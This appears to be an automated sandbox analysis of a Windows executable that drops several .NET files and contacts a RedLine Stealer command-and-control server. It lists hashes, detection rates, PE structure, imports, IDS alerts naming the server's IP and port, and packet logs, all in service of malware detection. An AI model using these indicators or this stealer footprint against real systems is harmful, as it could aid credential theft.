SHA-256:	FE25A74FCF4A90A4E0652DAB8CD237DB7E739B742BDB603A2180FDB38D3AA0F9
SHA-512:	3063C2F0F4B8ADD67E947C1C15DD42FBB7438AE65F3C338F2E23339EEE540ADEDD2E139FE7FEABA0FEBFACCD20EA50E55BFD21BCFAF273F16B9E9988651054D4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35% Antivirus: Virustotal, Detection: 39%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0.Q..Q..Q......Q...'..Q...'..Q...'/..Q..)..Q..Q...Q...'*.Q...'..Q...'..Q..Rich.Q..........................PE..L...@-fb.....................\?...................@...........................A................................................P.... @.............................................................I..@............................................text.............................. ..`.data....x=......L..................@....rsrc....... @.....................@..@................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Temp\123.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	284160
Entropy (8bit):	5.842293973381634
Encrypted:	false
SSDEEP:	6144:L5jEe+OHzJWC329FwF8e1vHVP4oSsMOFh5ZkKmYM:iOMC3/Fd1feoSpwdm9
MD5:	C8141AF739779C405DB7BE2C16768393
SHA1:	2427840AFD662B2ED3249300809C09BFDA3F0E54
SHA-256:	8BB0E01490FB91B0B1B6FCD7F8D4F58562F86C67554355258676C043775B468A
SHA-512:	60B3D1FA1483446792E73935485E3EE86B1FC99643A267DB5F064A58E8B7F7D546086354564DDC68DE7C8F7CD66336EA4AFB237BB65909A3B577CE53C839636A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 19% Antivirus: Virustotal, Detection: 34%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....%Ad.................L...........j... ........@.. ....................................`..................................j..O.................................................................................... ............... ..H............text....K... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B.................j......H.......xi..4............................................................(....&..(....2.(...+(...+....0.........(....(....t....(...........%..t....(........0..#.........8.....r...p(..........&......,.....................(....2(.....o....Fs.....(....o.....r[..p.r}..p......(....(....(....(.....(....o..........(....(....(....(....u.....o....u....(...+j(....u....r...po....(...+...0..8.............%......(....(....(....(....(....u..........o......r...pR......%.....

C:\Windows\Temp\1234.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	284160
Entropy (8bit):	5.860609165796067
Encrypted:	false
SSDEEP:	6144:TJeGv75I6Tbe/eAAGVIi9U8M2oKM0oxKhX:Tv5I68eAA2CGaO
MD5:	5B5A0A14B5EDA05D8D38DB522DDB1E8E
SHA1:	6CBE1FEE59B88A09D26B04374FF488F3108F0A7E
SHA-256:	461C808C3B603965B78A8EB2CDDFF14FF029EB3397393500496E6DFA7619ACA5
SHA-512:	6A246BBB375DF568574892650C03BFD0876FBD0BEC4FFFBE18E4BA63040C160E81ADCF1321C1A75AC2275370F192C2BAE174795A078DE88AD3F57FB084054324
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....4Ad.................L...........k... ........@.. ....................................`..................................k..S.................................................................................... ............... ..H............text....K... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B.................k......H........i...............................................................(....&..(....2.(...+(...+....0.........(....(....t....(...........%..t....(........0..#.........8.....r...p(..........&......,.....................(....2(.....o........0..6.......s.......o....o....o....o....o...........9.....o................!'.......rW..p.ry..p......(....(....(....(.....(....o..........(....(....(....(....u.....o....u....(...+j(....u....r...po....(...+..0..8.............%.

C:\Windows\Temp\321.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	292352
Entropy (8bit):	5.897020632584327
Encrypted:	false
SSDEEP:	6144:Aea4mXynjliWRMiko/OcCD+n1HQBgDD7ZOaWaH:A9KjlGS/OB+nl7ZOaWY
MD5:	EA2ACA8648D67B60A9B3F4520F3E50C9
SHA1:	0D5B66C1D106470FF2B79F56C3D7ACE2A45D4083
SHA-256:	1B50DA1CAA48F273A86538F338FC27B7D8B5C5939FEE9E93465070CB978F4759
SHA-512:	7DAFBA11E4D7E93E18FC3EBBCC7751E58B351E46EEBD35E5D4B89EDF5DECFEF260209E53AEDEE0F9A9457F7F0B47E8A9013F795B22922DE3E6EC9FE27D454709
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...."Ad.................l..........N.... ........@.. ....................................`.....................................O.................................................................................... ............... ..H............text...Tk... ...l.................. ..`.rsrc................n..............@..@.reloc...............t..............@..B................0.......H........i..P!...........................................................(....&..(....2.(...+(...+....0.........(....(....t....(...........%..t....(........0..#.........8.....r...p(..........&......,.....................(....2(.....o........0..'.......s.......o....o...........9.....o........................rS..p.ru..p......(....(....(....(.....(....o..........(....(....(....(....u.....o....u....(...+j(....u....r...po....(...+..0..8.............%......(....(....(

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.291205639952711
Encrypted:	false
SSDEEP:	12288:WKj7TQSoMJ1j9Y8j5TPTbB4yTVaL+bVu8Yx4QS0R6jcL6x80IYiSSl6:p7TQSoMJ1j9Y8joyy
MD5:	4C218CF97E035E08BE738479434F0ADE
SHA1:	EFBAD465157860088821B23E636CC099F42B0175
SHA-256:	C3C13B037C92B6AB10D8D595D9160B3FD957DC9AA70596739861EC92010BBE02
SHA-512:	0480522421DE2E68A4E1A6AD93D74E2F01187B2E3768999901AB5BB5E8597AEC5907C3CB21CDF00A2818BB2B3905544576A1E4D1EB5B211CF917664B10230592
Malicious:	false
Reputation:	unknown
Preview:	regfj...j...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm~..'t..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	3.943757377085582
Encrypted:	false
SSDEEP:	768:9NbRftx1xJ4JvHFAJAsqLz5GofNaBE3gMqCKHvUrBpQ1QmkqYFSC9OMMYbfAo:NZ+lYdMrk
MD5:	C10D7D4C3EDFC6DE35726FF6902F1D8A
SHA1:	30E7036924B590D7927DA8E8B8A0F83A986500FA
SHA-256:	0A6790FA20ED32C80F05533B738AEAD0A1A3246E1F9EAB6E4F182B97FD516829
SHA-512:	01621043033EA9D91D2897B75F93C6810CE6303150B0C00223D8721C5A83C15EEC753ED9F079807DECE9D71A0A7789587C848E1C605ACDEBB107235F039579C9
Malicious:	false
Reputation:	unknown
Preview:	regfi...i...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm~..'t..................................................................................................................................................................................................................................................................................................................................................HvLE........i...........WN_.&...by1f.S>a.........0...........0.......0..hbin................p.\..,..........nk,..,.'t.................................. ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ..,.'t...... ........................... .......Z.......................Root........lf......Root....nk ..,.'t...................}.............. ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck...

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	298
Entropy (8bit):	4.943030742860529
Encrypted:	false
SSDEEP:	6:zx3M1tFAbQtU1R30qyMstwYVoRRZBXVN+J0fFdCsq2UTiMdH8stCal+n:zK13I30ZMt9BFN+QdCT2UftCM+
MD5:	6A9888952541A41F033EB114C24DC902
SHA1:	41903D7C8F31013C44572E09D97B9AAFBBCE77E6
SHA-256:	41A61D0084CD7884BEA1DF02ED9213CB8C83F4034F5C8156FC5B06D6A3E133CE
SHA-512:	E6AC898E67B4052375FDDFE9894B26D504A7827917BF3E02772CFF45C3FA7CC5E0EFFDC701D208E0DB89F05E42F195B1EC890F316BEE5CB8239AB45444DAA65E
Malicious:	false
Reputation:	unknown
Preview:	Microsoft (R) Build Engine version 4.7.3056.0..[Microsoft .NET Framework, version 4.0.30319.42000]..Copyright (C) Microsoft Corporation. All rights reserved.....MSBUILD : error MSB1003: Specify a project or solution file. The current working directory does not contain a project or solution file...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.761800592906051
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	890370
MD5:	2f9e75406ad073eed271b767a05d2620
SHA1:	8dc0639005f31039e2cb7ea193f351a95767e5e2
SHA256:	7b804c178099c2e30b2cdd7016336fc98fde3ece959c97df92d8328dbc4a848a
SHA512:	ebe22d6456405590b9aa70167ff5a8ff57f7d07b4bbd7af194c33e06650830d30b95f4258a7cea988939a255447ff03f4be1acacb5283d7909ebd25b25a8e555
SSDEEP:	24576:0NA3R5drX/WiqpOID15sXUX4MaeYh3i+Sc:V5OFVDjuXlt
TLSH:	EA151243B9D6C4F2D56219325A19A765647CBE301F248FAFB3D82E2CD9340D1B231AB7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........~..............b.......b..<....b......)^...................................................... ....... .......%....... ......

File Icon


Icon Hash:	d49494d6c88ecec2

Static PE Info

General

Entrypoint:	0x41d759
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5CC4B58F [Sat Apr 27 20:03:27 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	00be6e6c4f9e287672c8301b72bdabf3

Entrypoint Preview

Instruction
call 00007F71D8C7497Fh
jmp 00007F71D8C743B3h
cmp ecx, dword ptr [0043A1C8h]
jne 00007F71D8C74525h
ret
jmp 00007F71D8C74AF5h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 00430FE8h
mov dword ptr [ecx], 00431994h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F71D8C67ACBh
mov dword ptr [esi], 004319A0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004319A8h
mov dword ptr [ecx], 004319A0h
ret
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F71D8C744CCh
push 00437B74h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F71D8C76DB6h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F71D8C744E2h
push 00437DA4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F71D8C76D99h
int3
jmp 00007F71D8C78DE5h
jmp dword ptr [0043025Ch]
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push 004209A0h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[C++] VS2015 UPD3.1 build 24215
[EXP] VS2015 UPD3.1 build 24215
[RES] VS2015 UPD3 build 24213
[LNK] VS2015 UPD3.1 build 24215

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x38cc0	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x38cf4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x5d000	0xe034	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6c000	0x1fcc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x36ee0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x31928	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x30000	0x25c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3824c	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2e854	0x2ea00	False	0.5908910020107239	data	6.692309727721094	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x30000	0x9a9c	0x9c00	False	0.45713141025641024	DOS executable (COM, 0x8C-variant)	5.132864674560433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3a000	0x213d0	0xc00	False	0.2802734375	data	3.2538110320804736	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.gfids	0x5c000	0xe8	0x200	False	0.33984375	data	2.1115417744603624	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x5d000	0xe034	0xe200	False	0.6341779590707964	data	6.802287495720703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6c000	0x1fcc	0x2000	False	0.7945556640625	data	6.645541352233445	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
PNG	0x5d644	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced
PNG	0x5e18c	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced
RT_ICON	0x5f738	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors
RT_ICON	0x5fca0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors
RT_ICON	0x60548	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors
RT_ICON	0x613f0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m
RT_ICON	0x61858	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m
RT_ICON	0x62900	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m
RT_ICON	0x64ea8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_DIALOG	0x68c1c	0x2a2	data
RT_DIALOG	0x68ec0	0x13a	data
RT_DIALOG	0x68ffc	0xf2	data
RT_DIALOG	0x690f0	0x14e	data
RT_DIALOG	0x69240	0x318	data
RT_DIALOG	0x69558	0x24a	data
RT_STRING	0x697a4	0x1fc	data
RT_STRING	0x699a0	0x246	data
RT_STRING	0x69be8	0x1dc	data
RT_STRING	0x69dc4	0xdc	data
RT_STRING	0x69ea0	0x468	data
RT_STRING	0x6a308	0x164	data
RT_STRING	0x6a46c	0xe4	data
RT_STRING	0x6a550	0x158	data
RT_STRING	0x6a6a8	0xe8	data
RT_STRING	0x6a790	0xe6	data
RT_GROUP_ICON	0x6a878	0x68	data
RT_MANIFEST	0x6a8e0	0x753	XML 1.0 document, ASCII text, with CRLF line terminators

Imports

DLL

Import

KERNEL32.dll

GetLastError, SetLastError, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, GetTickCount, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP, GetCommandLineA, GetEnvironmentStringsW, FreeEnvironmentStringsW, DecodePointer

gdiplus.dll

GdiplusShutdown, GdiplusStartup, GdipCreateHBITMAPFromBitmap, GdipCreateBitmapFromStreamICM, GdipCreateBitmapFromStream, GdipDisposeImage, GdipCloneImage, GdipFree, GdipAlloc

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
103.173.229.190192.168.2.318740496882043234 04/21/23-01:03:39.095124	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	18740	49688	103.173.229.190	192.168.2.3
192.168.2.3103.173.229.19049688187402043233 04/21/23-01:03:36.867297	TCP	2043233	ET TROJAN RedLine Stealer TCP CnC net.tcp Init	49688	18740	192.168.2.3	103.173.229.190
192.168.2.3103.173.229.19049688187402043231 04/21/23-01:04:21.680175	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49688	18740	192.168.2.3	103.173.229.190

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2023 01:02:55.142066956 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.142117977 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.142237902 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.142909050 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.142932892 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.185633898 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.185821056 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.186551094 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.186588049 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.189941883 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.189963102 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.190031052 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190058947 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.190108061 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190108061 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190130949 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.190152884 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.190197945 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190218925 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.190247059 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190267086 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190290928 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190329075 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190450907 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.190568924 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.190591097 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.299243927 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.299364090 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.299386024 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.299490929 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.299803972 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.299832106 CEST	443	49681	23.0.174.115	192.168.2.3
Apr 21, 2023 01:02:55.299856901 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:55.299901009 CEST	49681	443	192.168.2.3	23.0.174.115
Apr 21, 2023 01:02:59.343655109 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.343746901 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.343854904 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.381688118 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.381747007 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.449899912 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.449975014 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.450134039 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.468048096 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.468102932 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.483074903 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.483197927 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.491141081 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.491173029 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.491902113 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.544514894 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.566677094 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.566837072 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.605977058 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:02:59.606036901 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.606750965 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:02:59.653855085 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.026803017 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.067526102 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.200126886 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.226562023 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.226629019 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.226861954 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.247041941 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.247087002 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.247421980 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.342407942 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.342536926 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.345510006 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.345541000 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.346024036 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.551460981 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.551681995 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.710684061 CEST	49684	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.751442909 CEST	443	49684	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861218929 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861479998 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861515999 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861576080 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861654997 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861731052 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861731052 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861731052 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861783028 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861824989 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861872911 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861895084 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861922026 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861922026 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861934900 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.861953020 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.861964941 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.862019062 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.862037897 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.882217884 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.882285118 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.882297993 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.882360935 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.882395029 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.882407904 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.882458925 CEST	443	49682	144.76.136.153	192.168.2.3
